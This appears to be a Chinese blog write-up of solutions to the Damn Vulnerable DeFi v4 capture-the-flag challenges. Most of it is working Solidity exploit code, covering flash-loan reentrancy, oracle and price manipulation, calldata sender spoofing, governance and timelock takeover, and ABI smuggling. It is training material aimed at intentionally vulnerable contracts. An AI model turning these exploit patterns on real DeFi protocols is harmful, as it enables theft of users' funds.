刷点区块链,onlypwner也很不错,但是不给发wp,就发发这个的,项目地址:https://github.com/theredguild/damn-vulnerable-defi ,用foundry写起来很方便,目前已完结

代码:https://github.com/zysgmzb/My-Damn-Vulnerable-DeFi-V4-solutions

如果刚入门defi安全推荐按顺序做

目录:

unstoppable

一个经典的dos,直接把自己的代币transfer给vault就行了,就会导致monitor检查的时候过不了这一条

复制代码
  1. if (convertToShares(totalSupply) != balanceBefore)
  2. revert InvalidBalance(); // enforce ERC4626 requirement

Exp:

复制代码
  1. function test_unstoppable() public checkSolvedByPlayer {
  2. token.transfer(address(vault), 1 ether);
  3. }

naive-receiver

目的是掏空receiver的10eth和pool里的100eth,receiver掏起来很简单,直接调用10次flashloan就行,每次会收他1eth的fee,进行完这一步后pool里就1010eth了,接下来就要吧这些全偷了

可以看到flashloan后所有的fee是到了feeReceiver的账户里,而这个账户就是deployer,所以此时deposits[feeReceiver]就是1010eth

此时如果能控制withdraw函数里的_msgSender()返回deployer的地址就行了,这还是挺容易的,只要控制一下calldata就行

又因为需要在2笔交易内完成,所以直接用那个multicall就行,写11个calldata,前十个用来掏空receiver,最后一个掏空pool,注意最后掏空pool的时候calldata得在后面加上一个deployer,这样_msgSender()就能返回deployer的地址,签名那里的hash值是BasicForwarder.sol里的_hashTypedData(getDataHash(request))的返回值

exp:

复制代码
  1. function test_naiveReceiver() public checkSolvedByPlayer {
  2. bytes memory call_receiver = abi.encodeWithSignature(
  3. "flashLoan(address,address,uint256,bytes)",
  4. IERC3156FlashBorrower(address(receiver)),
  5. address(weth),
  6. 1 ether,
  7. bytes("")
  8. );
  9. bytes memory call_pool = abi.encodePacked(
  10. abi.encodeWithSignature(
  11. "withdraw(uint256,address)",
  12. 1010 ether,
  13. recovery
  14. ),
  15. deployer
  16. );
  17. bytes[] memory calls = new bytes[](11);
  18. for (uint256 i = 0; i < 10; i++) {
  19. calls[i] = call_receiver;
  20. }
  21. calls[10] = call_pool;
  22. BasicForwarder.Request memory request = BasicForwarder.Request({
  23. from: player,
  24. target: address(pool),
  25. value: 0,
  26. gas: 1000000,
  27. nonce: 0,
  28. data: abi.encodeWithSignature("multicall(bytes[])", calls),
  29. deadline: block.timestamp + 1
  30. });
  31. (uint8 v, bytes32 r, bytes32 s) = vm.sign(
  32. playerPk,
  33. hex"93d1013a86f6910413c4664bac55cef52aee84d753f2d3e6067034e83259cee1"
  34. );
  35. bytes memory signature = abi.encodePacked(r, s, v);
  36. console.logBytes(signature);
  37. forwarder.execute(request, signature);
  38. }

Truster

这是真简单,直接让pool去call一下token去approve就行了,amount就设为0

但是还是不知道为什么不能直接approve给recovery然后直接transferFrom,这样会panic

Exp:

复制代码
  1. function test_truster() public checkSolvedByPlayer {
  2. Hack hack = new Hack(address(pool), address(token), recovery);
  3. }
  4. contract Hack {
  5. constructor(address _pool, address _token, address _recovery) {
  6. TrusterLenderPool pool = TrusterLenderPool(_pool);
  7. DamnValuableToken token = DamnValuableToken(_token);
  8. bytes memory data = abi.encodeWithSignature(
  9. "approve(address,uint256)",
  10. address(this),
  11. type(uint256).max
  12. );
  13. pool.flashLoan(0, address(0), _token, data);
  14. token.transferFrom(_pool, address(this), token.balanceOf(_pool));
  15. token.transfer(_recovery, token.balanceOf(address(this)));
  16. }
  17. }

side-entrance

闪电贷经典漏洞,调用execute的时候去deposit就行,因为这里还款后只检测pool的余额

Exp:

复制代码
  1. function test_sideEntrance() public checkSolvedByPlayer {
  2. Hack hack = new Hack(address(pool), recovery);
  3. hack.attack();
  4. }
  5. contract Hack {
  6. SideEntranceLenderPool pool;
  7. address recovery;
  8. constructor(address _pool, address _recovery) payable {
  9. pool = SideEntranceLenderPool(_pool);
  10. recovery = _recovery;
  11. }
  12. function attack() external {
  13. pool.flashLoan(address(pool).balance);
  14. pool.withdraw();
  15. payable(recovery).transfer(address(this).balance);
  16. }
  17. function execute() external payable {
  18. pool.deposit{value: msg.value}();
  19. }
  20. fallback() external payable {}
  21. }

the-rewarder

有点子莫名其妙,直接整个超长claim就行了,根据claimRewards的逻辑

注意测试的时候不要开-vvvvv,不然卡死你

复制代码
  1. if (token != inputTokens[inputClaim.tokenIndex]) {
  2. if (address(token) != address(0)) {
  3. if (!_setClaimed(token, amount, wordPosition, bitsSet))
  4. revert AlreadyClaimed();
  5. }
  6. token = inputTokens[inputClaim.tokenIndex];
  7. bitsSet = 1 << bitPosition; // set bit at given position
  8. amount = inputClaim.amount;
  9. } else {
  10. bitsSet = bitsSet | (1 << bitPosition);
  11. amount += inputClaim.amount;
  12. }
  13. // for the last claim
  14. if (i == inputClaims.length - 1) {
  15. if (!_setClaimed(token, amount, wordPosition, bitsSet))
  16. revert AlreadyClaimed();
  17. }

如果token和inputTokens[inputClaim.tokenIndex]相等就会一直加amount,直到最后一个才去调用_setClaimed,那直接整个特长的claim就行了,一次性掏空,需要先提前计算一下最多能接受几次airdrop,json文件里有player的地址,发现airdrop数额分别是11524763827831882和1171088749244340,并且总额是10eth和1eth,直接算一下就行了

复制代码
  1. >>> (10**19) / 11524763827831882
  2. 867.696739767488
  3. >>> (10**18) / 1171088749244340
  4. 853.9062480493154

所以就整一个867+853长度的claim就行,最后把token全转给recovery,简单

Exp:

复制代码
  1. function test_theRewarder() public checkSolvedByPlayer {
  2. Claim[] memory claims = new Claim[](867 + 853);
  3. bytes32[] memory dvtLeaves = _loadRewards(
  4. "/test/the-rewarder/dvt-distribution.json"
  5. );
  6. bytes32[] memory wethLeaves = _loadRewards(
  7. "/test/the-rewarder/weth-distribution.json"
  8. );
  9. IERC20[] memory tokensToClaim = new IERC20[](2);
  10. tokensToClaim[0] = IERC20(address(dvt));
  11. tokensToClaim[1] = IERC20(address(weth));
  12. claims[0] = Claim({
  13. batchNumber: 0, // claim corresponds to first DVT batch
  14. amount: 11524763827831882,
  15. tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
  16. proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
  17. });
  18. for (uint i = 0; i < 866; i++) {
  19. claims[i + 1] = claims[0];
  20. }
  21. claims[867] = Claim({
  22. batchNumber: 0, // claim corresponds to first WETH batch
  23. amount: 1171088749244340,
  24. tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
  25. proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
  26. });
  27. for (uint i = 0; i < 852; i++) {
  28. claims[i + 868] = claims[867];
  29. }
  30. distributor.claimRewards({
  31. inputClaims: claims,
  32. inputTokens: tokensToClaim
  33. });
  34. dvt.transfer(recovery, dvt.balanceOf(player));
  35. weth.transfer(recovery, weth.balanceOf(player));
  36. }

selfie

这题也挺简单的,但是一开始真的是完全不知道哪里可以绕过等待两天的限制,最后看了wp才知道是用foundry的cheatcode去调时间,六百六十六

总体就是闪电贷借个150万eth然后拿去增加自己的vote,然后在SimpleGovernance那里提一个action再改时间再execute就行了

exp:

复制代码
  1. function test_selfie() public checkSolvedByPlayer {
  2. Hack hack = new Hack(
  3. address(token),
  4. address(governance),
  5. address(pool),
  6. recovery
  7. );
  8. hack.attack1();
  9. vm.warp(block.timestamp + 2 days);
  10. hack.attack2();
  11. }
  12. contract Hack {
  13. DamnValuableVotes token;
  14. SimpleGovernance governance;
  15. SelfiePool pool;
  16. address recovery;
  17. constructor(
  18. address _token,
  19. address _governance,
  20. address _pool,
  21. address _recovery
  22. ) {
  23. token = DamnValuableVotes(_token);
  24. governance = SimpleGovernance(_governance);
  25. pool = SelfiePool(_pool);
  26. recovery = _recovery;
  27. }
  28. function onFlashLoan(
  29. address initiator,
  30. address ttoken,
  31. uint256 amount,
  32. uint256 fee,
  33. bytes calldata data
  34. ) external returns (bytes32) {
  35. token.delegate(address(this));
  36. governance.queueAction(
  37. address(pool),
  38. 0,
  39. abi.encodeWithSignature("emergencyExit(address)", recovery)
  40. );
  41. DamnValuableVotes(ttoken).approve(address(pool), type(uint256).max);
  42. return keccak256("ERC3156FlashBorrower.onFlashLoan");
  43. }
  44. function attack1() external {
  45. pool.flashLoan(
  46. IERC3156FlashBorrower(address(this)),
  47. address(token),
  48. token.balanceOf(address(pool)),
  49. ""
  50. );
  51. }
  52. function attack2() external {
  53. governance.executeAction(1);
  54. }
  55. }

compromised

抽抽又象象,上来直接给两私钥,再简单看一眼合约就知道是用泄露的这两个账户控制一下nft价格就行了,简单

exp:

复制代码
  1. function test_compromised() public checkSolved {
  2. uint256 account1_key = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
  3. uint256 account2_key = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
  4. address account1 = vm.addr(account1_key);
  5. address account2 = vm.addr(account2_key);
  6. vm.startPrank(account1);
  7. oracle.postPrice("DVNFT", 0);
  8. vm.stopPrank();
  9. vm.startPrank(account2);
  10. oracle.postPrice("DVNFT", 0.1 ether);
  11. vm.stopPrank();
  12. vm.startPrank(player);
  13. uint256 id = exchange.buyOne{value: 0.1 ether}();
  14. vm.startPrank(account1);
  15. oracle.postPrice("DVNFT", 999.1 ether);
  16. vm.stopPrank();
  17. vm.startPrank(account2);
  18. oracle.postPrice("DVNFT", 999.1 ether);
  19. vm.stopPrank();
  20. vm.startPrank(player);
  21. nft.approve(address(exchange), id);
  22. exchange.sellOne(id);
  23. payable(recovery).transfer(999 ether);
  24. vm.stopPrank();
  25. vm.startPrank(account1);
  26. oracle.postPrice("DVNFT", 999 ether);
  27. vm.stopPrank();
  28. vm.startPrank(account2);
  29. oracle.postPrice("DVNFT", 999 ether);
  30. vm.stopPrank();
  31. }

puppet

上来先用_calculateTokenToEthInputPrice看一下已有的1000 eth的token能换多少eth

复制代码
  1. console.log(
  2. _calculateTokenToEthInputPrice(1000 ether, 10 ether, 10 ether)
  3. );

结果直接能换9900695134061569016,好家伙,直接掏空了,然后去lendingpool借就完了,但是这里不知道怎么缩到一笔交易以内,最后大概是这个流程,要缩的话可能要写个合约?

复制代码
  1. function test_puppet() public checkSolvedByPlayer {
  2. token.approve(address(uniswapV1Exchange), 1000 ether);
  3. uniswapV1Exchange.tokenToEthSwapInput(1000 ether, 1, block.timestamp);
  4. lendingPool.borrow{value: 25 ether}(1000 ether, recovery);
  5. }

puppet-v2

还是一样,把自己的token全换成wth使得token变得非常便宜,就可以用自己的少量weth借来pool中的所有token

exp:

复制代码
  1. function test_puppetV2() public checkSolvedByPlayer {
  2. token.approve(address(uniswapV2Router), type(uint256).max);
  3. address[] memory path = new address[](2);
  4. path[0] = address(token);
  5. path[1] = address(weth);
  6. uniswapV2Router.swapExactTokensForETH(
  7. PLAYER_INITIAL_TOKEN_BALANCE,
  8. 0,
  9. path,
  10. player,
  11. block.timestamp
  12. );
  13. weth.deposit{value: player.balance}();
  14. weth.approve(address(lendingPool), type(uint256).max);
  15. lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
  16. token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
  17. }

free-rider

题目不难,首先是buyMany方法导致的msg.value重复使用问题,这就会导致花15eth获取所有nft,还有更逆天的,就是这里

复制代码
  1. _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
  2. // pay seller using cached token
  3. payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

先转移nft再把钱给了,但是给钱的时候owner已经变成买家了,就会导致不用花钱就能获取nft,这market是个人物

于是就很简单了,直接去uniswapv2里面flashswap出15eth后面简单写写把nft全转给recovery就行,还款的时候需要还15eth加上比0.3%多一点点的fee,就用0.4%就行了

exp:

复制代码
  1. function test_freeRider() public checkSolvedByPlayer {
  2. //weth.deposit{value: player.balance}();
  3. //weth.approve(address(uniswapV2Router), type(uint256).max);
  4. Hack hack = new Hack{value: player.balance}(
  5. address(uniswapPair),
  6. address(marketplace),
  7. address(nft),
  8. address(recoveryManager),
  9. address(weth),
  10. player
  11. );
  12. hack.attack();
  13. }
  14. contract Hack {
  15. IUniswapV2Pair uniswapPair;
  16. FreeRiderNFTMarketplace marketplace;
  17. DamnValuableNFT nft;
  18. FreeRiderRecoveryManager recoveryManager;
  19. WETH weth;
  20. address player;
  21. constructor(
  22. address _uniswapPair,
  23. address _marketplace,
  24. address _nft,
  25. address _recoveryManagerOwner,
  26. address _weth,
  27. address _player
  28. ) payable {
  29. uniswapPair = IUniswapV2Pair(_uniswapPair);
  30. marketplace = FreeRiderNFTMarketplace(payable(_marketplace));
  31. nft = DamnValuableNFT(_nft);
  32. recoveryManager = FreeRiderRecoveryManager(_recoveryManagerOwner);
  33. weth = WETH(payable(_weth));
  34. player = _player;
  35. }
  36. function attack() external {
  37. uniswapPair.swap(15 ether, 0, address(this), abi.encode(player));
  38. payable(player).transfer(address(this).balance);
  39. }
  40. function uniswapV2Call(
  41. address sender,
  42. uint amount0,
  43. uint amount1,
  44. bytes calldata data
  45. ) external {
  46. weth.withdraw(15 ether);
  47. uint256[] memory tokenIds = new uint256[](6);
  48. for (uint256 i = 0; i < 6; i++) {
  49. tokenIds[i] = i;
  50. }
  51. marketplace.buyMany{value: 15 ether}(tokenIds);
  52. nft.setApprovalForAll(address(recoveryManager), true);
  53. for (uint256 i = 0; i < 6; i++) {
  54. nft.safeTransferFrom(
  55. address(this),
  56. address(recoveryManager),
  57. i,
  58. data
  59. );
  60. }
  61. weth.deposit{value: 15 ether * (1 + 0.004)}();
  62. weth.transfer(msg.sender, 15 ether * (1 + 0.004));
  63. }
  64. function onERC721Received(
  65. address,
  66. address,
  67. uint256 _tokenId,
  68. bytes memory _data
  69. ) external returns (bytes4) {
  70. return IERC721Receiver.onERC721Received.selector;
  71. }
  72. receive() external payable {}
  73. }

backdoor

有点小难,要看的合约有点多,题目要求在一次交易中把所有代币都转到recovery账户

整体就是为每个airdrop的接受者生成一个代理钱包收钱,但是在setup函数里有一个setupModules,里面是用delegatecall做一些事情,就有了可乘之机

复制代码
  1. function setup(
  2. address[] calldata _owners,
  3. uint256 _threshold,
  4. address to,
  5. bytes calldata data,
  6. address fallbackHandler,
  7. address paymentToken,
  8. uint256 payment,
  9. address payable paymentReceiver
  10. ) external {
  11. // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
  12. setupOwners(_owners, _threshold);
  13. if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
  14. // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
  15. setupModules(to, data);
  16. if (payment > 0) {
  17. // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
  18. // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
  19. handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
  20. }
  21. emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
  22. }

题目合约里的proxyCreated函数最后会把10ether转给factory生成的代理合约,所以就在想着能不能让这个setupModules的calldata去call一下ERC20的approve,然后转账完了直接transferfrom就可以了

于是可以写出攻击合约:

复制代码
  1. contract Backdoor {
  2. address[] users;
  3. Safe singletonCopy;
  4. SafeProxyFactory walletFactory;
  5. DamnValuableToken token;
  6. WalletRegistry walletRegistry;
  7. address recovery;
  8. constructor(
  9. address[] memory _users,
  10. address _singletonCopy,
  11. address _walletFactory,
  12. address _token,
  13. address _walletRegistry,
  14. address _recovery
  15. ) {
  16. users = _users;
  17. singletonCopy = Safe(payable(_singletonCopy));
  18. walletFactory = SafeProxyFactory(_walletFactory);
  19. token = DamnValuableToken(_token);
  20. walletRegistry = WalletRegistry(_walletRegistry);
  21. recovery = _recovery;
  22. }
  23. function fakeapprove(
  24. address _token,
  25. address _recovery,
  26. uint256 _amount
  27. ) external {
  28. DamnValuableToken(_token).approve(_recovery, _amount);
  29. }
  30. function attack() external {
  31. for (uint i = 0; i < users.length; i++) {
  32. address[] memory _owners = new address[](1);
  33. _owners[0] = users[i];
  34. bytes memory Module_call_data = abi.encodeWithSignature(
  35. "fakeapprove(address,address,uint256)",
  36. address(token),
  37. address(this),
  38. 10 ether
  39. );
  40. bytes memory test_call = abi.encodeWithSelector(
  41. singletonCopy.setup.selector,
  42. _owners,
  43. 1,
  44. address(this),
  45. Module_call_data,
  46. address(0),
  47. address(0),
  48. 0,
  49. address(0)
  50. );
  51. walletFactory.createProxyWithCallback(
  52. address(singletonCopy),
  53. test_call,
  54. 0,
  55. walletRegistry
  56. );
  57. address generated_proxy = walletRegistry.wallets(users[i]);
  58. console.log(token.balanceOf(generated_proxy));
  59. console.log(token.allowance(generated_proxy, address(this)));
  60. // console.log(generated_proxy);
  61. token.transferFrom(generated_proxy, address(this), 10 ether);
  62. token.transfer(recovery, 10 ether);
  63. }
  64. }
  65. }

approve这一步需要自己写一下,不能直接在setupModules里面去调用approve,因为这一步是delegatecall,会在代理合约的上下文中进行,如果直接approve就会导致msg.sender是factory合约,但是如果在这次delegatecall里去调用自己写的Backddor合约里的fakeapprove函数去approve的话msg.sender就会是代理合约了

这里一开始我是直接给recovery账户approve的,但是不知道为什么后面的transferFrom一直会panic,搞不明白,后来以这个Backdoor合约自己做一下中转就可以了,不是很明白什么原因

test_backdoor直接部署这个合约就行

复制代码
  1. function test_backdoor() public checkSolvedByPlayer {
  2. // console.logBytes4(singletonCopy.setup.selector);
  3. /* walletFactory.createProxyWithCallback(
  4. address(singletonCopy),
  5. data,
  6. 0,
  7. walletRegistry
  8. );*/
  9. Backdoor backdoor = new Backdoor(
  10. users,
  11. address(singletonCopy),
  12. address(walletFactory),
  13. address(token),
  14. address(walletRegistry),
  15. address(recovery)
  16. );
  17. backdoor.attack();
  18. }

climber

有点小难难了

问题主要出在timelock里的execute方法里,可以发现是先execute再检查合法性,所以可以在execute里先grantrole把自己变成proposer然后所有操作结束后在execute的最后一条里加上一个schedule的过程,还要把delay改成0这样就可以通过合法性检测

所以思路如下(一开始一直在思考能不能改sweeper,这样似乎是掉入了兔子洞)

复制代码
  1. 1.把自己的attack合约变成proposer
  2. 2.升级vault为自己的attack合约并在data字段里写入转账的calldata,因为原来的逻辑合约应该是没办法转走钱的,除非改sweeper
  3. 3.修改delay0
  4. 4.调用attack合约使其将所有行为进行一个schedule

exp(由于代理合约到逻辑合约是delegatecall所以Hack合约里面的test函数要提供所有参数,不然就全是0,因为代理合约里没有):

复制代码
  1. function test_climber() public checkSolvedByPlayer {
  2. Hack hack = new Hack(
  3. address(timelock),
  4. address(vault),
  5. address(token),
  6. recovery
  7. );
  8. address[] memory targets = new address[](4);
  9. uint256[] memory values = new uint256[](4);
  10. bytes[] memory dataElements = new bytes[](4);
  11. targets[0] = address(timelock);
  12. values[0] = 0;
  13. dataElements[0] = abi.encodeWithSignature(
  14. "grantRole(bytes32,address)",
  15. keccak256("PROPOSER_ROLE"),
  16. address(hack)
  17. );
  18. targets[1] = address(vault);
  19. values[1] = 0;
  20. dataElements[1] = abi.encodeWithSignature(
  21. "upgradeToAndCall(address,bytes)",
  22. address(hack),
  23. abi.encodeWithSignature(
  24. "test(address,address,address)",
  25. address(token),
  26. address(vault),
  27. recovery
  28. )
  29. );
  30. targets[2] = address(timelock);
  31. values[2] = 0;
  32. dataElements[2] = abi.encodeCall(ClimberTimelock.updateDelay, 0);
  33. targets[3] = address(hack);
  34. values[3] = 0;
  35. dataElements[3] = abi.encodeWithSignature("attack()");
  36. timelock.execute(targets, values, dataElements, bytes32("114514"));
  37. }
  38. contract Hack is ClimberVault {
  39. ClimberTimelock timelock;
  40. ClimberVault vault;
  41. DamnValuableToken token;
  42. address recovery;
  43. constructor(
  44. address _timelock,
  45. address _vault,
  46. address _token,
  47. address _recovery
  48. ) {
  49. timelock = ClimberTimelock(payable(_timelock));
  50. vault = ClimberVault(_vault);
  51. token = DamnValuableToken(_token);
  52. recovery = _recovery;
  53. }
  54. function attack() external {
  55. address[] memory targets = new address[](4);
  56. uint256[] memory values = new uint256[](4);
  57. bytes[] memory dataElements = new bytes[](4);
  58. targets[0] = address(timelock);
  59. values[0] = 0;
  60. dataElements[0] = abi.encodeWithSignature(
  61. "grantRole(bytes32,address)",
  62. keccak256("PROPOSER_ROLE"),
  63. address(this)
  64. );
  65. targets[1] = address(vault);
  66. values[1] = 0;
  67. dataElements[1] = abi.encodeWithSignature(
  68. "upgradeToAndCall(address,bytes)",
  69. address(this),
  70. abi.encodeWithSignature(
  71. "test(address,address,address)",
  72. address(token),
  73. address(vault),
  74. recovery
  75. )
  76. );
  77. targets[2] = address(timelock);
  78. values[2] = 0;
  79. dataElements[2] = abi.encodeCall(ClimberTimelock.updateDelay, 0);
  80. targets[3] = address(this);
  81. values[3] = 0;
  82. dataElements[3] = abi.encodeWithSignature("attack()");
  83. timelock.schedule(targets, values, dataElements, bytes32("114514"));
  84. }
  85. function test(address token, address vault, address recovery) external {
  86. IERC20(token).transfer(
  87. recovery,
  88. IERC20(token).balanceOf(address(vault))
  89. );
  90. }
  91. }

wallet-mining

一开始没做出来,根本找不到nonce去生成给的地址,看了wp也没用,直接复制wp的exp也跑不出来,给我gas都干飞了也没有,不知道是啥问题

最终把题目里的地址换成了0xF8328bcAB198A23488Ea526bf56560705C4e423a,可以在nonce为3的情况下生成

大概获取参数的过程是这样的

复制代码
  1. console.logBytes(
  2. abi.encodePacked(
  3. type(SafeProxy).creationCode,
  4. uint256(uint160(address(singletonCopy)))
  5. )
  6. );
  7. address[] memory owners = new address[](1);
  8. owners[0] = user;
  9. bytes memory initializer = abi.encodeWithSignature(
  10. "setup(address[],uint256,address,bytes,address,address,uint256,address)",
  11. owners,
  12. 1,
  13. address(0),
  14. "",
  15. address(0),
  16. address(0),
  17. 0,
  18. address(0)
  19. );
  20. console.logBytes(initializer);

再把结果填入python脚本进行爆破就行(s1=0xff+factory地址,s3=keccak(合约字节码))

复制代码
  1. from web3 import Web3
  2. s1 = '0xff6B35AE5369Ee7c8Bf7beb043B9BB3D0613aA0DC0'
  3. s3 = 'b8e47c85f88b5df72f3116ced24853e189ad3e9045c7e4838ecc30cd81d645d1'
  4. i = 0
  5. for i in range(100):
  6. salt = Web3.keccak(bytes.fromhex(Web3.keccak(hexstr='0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000006ca6d1e2d5347bfab1d91e883f1915560e09129d0000000000000000000000000000000000000000000000000000000000000000').hex()[
  7. 2:] + hex(i)[2:].rjust(64, '0'))).hex()[2:]
  8. s = s1+salt+s3
  9. hashed = Web3.keccak(hexstr=s)
  10. hashed_str = ''.join(['%02x' % b for b in hashed])
  11. # print(hashed_str[24:])
  12. print(hashed_str[24:])
  13. if (hashed_str[24:] == "f8328bcab198a23488ea526bf56560705c4e423a"):
  14. print(i)
  15. break

然后就可以直接将合约部署到指定位置

但是目前deployer里面的can方法是无法通过的,要想使其返回true只能在AuthorizerUpgradeable里面调用_rely,或者说是是调用init函数,这里就比较有意思了,因为AuthorizerUpgradeable只是一个逻辑合约,其代理合约是TransparentProxy,所以如果我们朝着这个合约调用init方法的话,所检查的needsInit其实是代理合约中位于slot1的变量,也就是upgrader,而upgrader已经被初始化过了,所以说这里的needsInit读取出来的值是uint256(upgrader),也就是说我们可以再次调用init函数是的我们能够有权限去部署合约领取airdrop

部署完之后就很简单了,对着部署后的合约call一下execTransaction方法把余额转给user就行,注意一下写法不然会导致stack too deep,同时题目还有条件是player只能有一次交易,那么就写个合约,让所有步骤都在构造函数里进行就行了

exp:

复制代码
  1. function test_walletMining() public checkSolvedByPlayer {
  2. Enum.Operation operation = Enum.Operation.Call;
  3. (uint8 v, bytes32 r, bytes32 s) = vm.sign(
  4. userPrivateKey,
  5. keccak256(
  6. hex"1901ab44818b21f3d7aae496f701d747e76f4a7a4e9aef48eefcf9f7289e3c080b5ed1fec887a43aabf6d2c9c81d3322b11e4eb97b080f85123f60f96ead78092611"
  7. )
  8. );
  9. bytes memory sig = abi.encodePacked(r, s, v);
  10. bytes memory final_call_data_to_avoid_too_deep = abi.encodeCall(
  11. Safe.execTransaction,
  12. (
  13. address(token),
  14. 0,
  15. abi.encodeWithSignature(
  16. "transfer(address,uint256)",
  17. user,
  18. 20_000_000e18
  19. ),
  20. operation,
  21. 0,
  22. 0,
  23. 0,
  24. address(0),
  25. payable(0),
  26. sig
  27. )
  28. );
  29. Hack hack = new Hack(
  30. walletDeployer,
  31. token,
  32. authorizer,
  33. user,
  34. ward,
  35. USER_DEPOSIT_ADDRESS,
  36. final_call_data_to_avoid_too_deep
  37. );
  38. }
  39. contract Hack {
  40. constructor(
  41. WalletDeployer walletDeployer,
  42. DamnValuableToken token,
  43. AuthorizerUpgradeable authorizer,
  44. address user,
  45. address ward,
  46. address USER_DEPOSIT_ADDRESS,
  47. bytes memory final_call_data_to_avoid_too_deep
  48. ) {
  49. address[] memory owners = new address[](1);
  50. owners[0] = user;
  51. bytes memory initializer = abi.encodeWithSignature(
  52. "setup(address[],uint256,address,bytes,address,address,uint256,address)",
  53. owners,
  54. 1,
  55. address(0),
  56. "",
  57. address(0),
  58. address(0),
  59. 0,
  60. address(0)
  61. );
  62. address[] memory wards = new address[](1);
  63. wards[0] = address(this);
  64. address[] memory aims = new address[](1);
  65. aims[0] = USER_DEPOSIT_ADDRESS;
  66. authorizer.init(wards, aims);
  67. walletDeployer.drop(USER_DEPOSIT_ADDRESS, initializer, 3);
  68. Enum.Operation operation = Enum.Operation.Call;
  69. token.transfer(ward, 1 ether);
  70. USER_DEPOSIT_ADDRESS.call(final_call_data_to_avoid_too_deep);
  71. }
  72. }

puppet-v3

和前两个一样,都是把自己的token换成weth然后就可以控制价格去borrow了,这里只有一点点不一样那就是router地址得自己找以及价格计算是时间加权平均价格,所以换完weth之后得调一下时间

这题还要自己选一个rpc,直接fork以太坊主网就行了,自己申请个api

然后可以去google搜到uniswapv3的router在以太坊主网上的地址:0xE592427A0AEce92De3Edee1F18E0157C05861564

后面跳过时间直接用foundry的cheatcode:vm.warp

检查函数里面限制了不能跳太多,只跳了100秒也够了,因为自己的token数量就已经足够把流动性池里面的weth换空了

exp:

复制代码
  1. function test_puppetV3() public checkSolvedByPlayer {
  2. ISwapRouter router = ISwapRouter(
  3. 0xE592427A0AEce92De3Edee1F18E0157C05861564
  4. );
  5. token.approve(address(router), type(uint256).max);
  6. ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
  7. .ExactInputSingleParams(
  8. address(token),
  9. address(weth),
  10. 3000,
  11. player,
  12. block.timestamp * 2,
  13. PLAYER_INITIAL_TOKEN_BALANCE,
  14. 0,
  15. 0
  16. );
  17. router.exactInputSingle(params);
  18. weth.approve(address(lendingPool), type(uint256).max);
  19. vm.warp(block.timestamp + 100);
  20. lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
  21. token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);
  22. }

abi-smuggling

合约很短,目标是把vault里所有代币转到recovery账户,注意到有个函数是直接转address(this).balance

复制代码
  1. function sweepFunds(address receiver, IERC20 token) external onlyThis {
  2. SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
  3. }

于是本题目标大概率就是调用这个函数,但是有个onlyThis的modifier

复制代码
  1. modifier onlyThis() {
  2. if (msg.sender != address(this)) {
  3. revert CallerNotAllowed();
  4. }
  5. _;
  6. }

于是就得看看别的功能,比如这个execute

复制代码
  1. function execute(
  2. address target,
  3. bytes calldata actionData
  4. ) external nonReentrant returns (bytes memory) {
  5. // console.logBytes(msg.data);
  6. // Read the 4-bytes selector at the beginning of `actionData`
  7. bytes4 selector;
  8. uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
  9. assembly {
  10. selector := calldataload(calldataOffset)
  11. }
  12. // console.logBytes(abi.encodePacked(selector, msg.sender, target));
  13. if (!permissions[getActionId(selector, msg.sender, target)]) {
  14. revert NotAllowed();
  15. }
  16. _beforeFunctionCall(target, actionData);
  17. return target.functionCall(actionData);
  18. }

其中的permissions是这样设置的

复制代码
  1. bytes32 deployerPermission = vault.getActionId(
  2. hex"85fb709d",
  3. deployer,
  4. address(vault)
  5. );
  6. bytes32 playerPermission = vault.getActionId(
  7. hex"d9caed12",
  8. player,
  9. address(vault)
  10. );

其中85fb709d和d9caed12分别是sweepFunds和withdraw函数的选择器

由于msg.sender确实改不了。所以需要自行构造calldata去让他内联汇编得到的selector是d9caed12而实际调用的其实是sweepFunds的,也算是经典问题了,也不多说,直接上calldata

复制代码
  1. 1cff79cd //execute函数的选择器
  2. 0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 //target参数(只能设为address(vault))
  3. 0000000000000000000000000000000000000000000000000000000000000080 // 偏移,利用这里的便宜使得实际使用的actionData是后面那个
  4. 0000000000000000000000000000000000000000000000000000000000000000 // 补啥都行
  5. d9caed1200000000000000000000000000000000000000000000000000000000 //execute里的selector就取的这个
  6. 0000000000000000000000000000000000000000000000000000000000000044 //真正的actionData开始
  7. 85fb709d00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b00000000000000000000000000000000000000000000000000000000

下面这段也简单说一下

复制代码
  1. 85fb709d //sweepFunds的选择器
  2. 00000000000000000000000073030B99950fB19C6A813465E58A0BcA5487FBEa // recovery
  3. 0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9b // token
  4. 00000000000000000000000000000000000000000000000000000000 //补到32整数倍

构造完直接call就行

复制代码
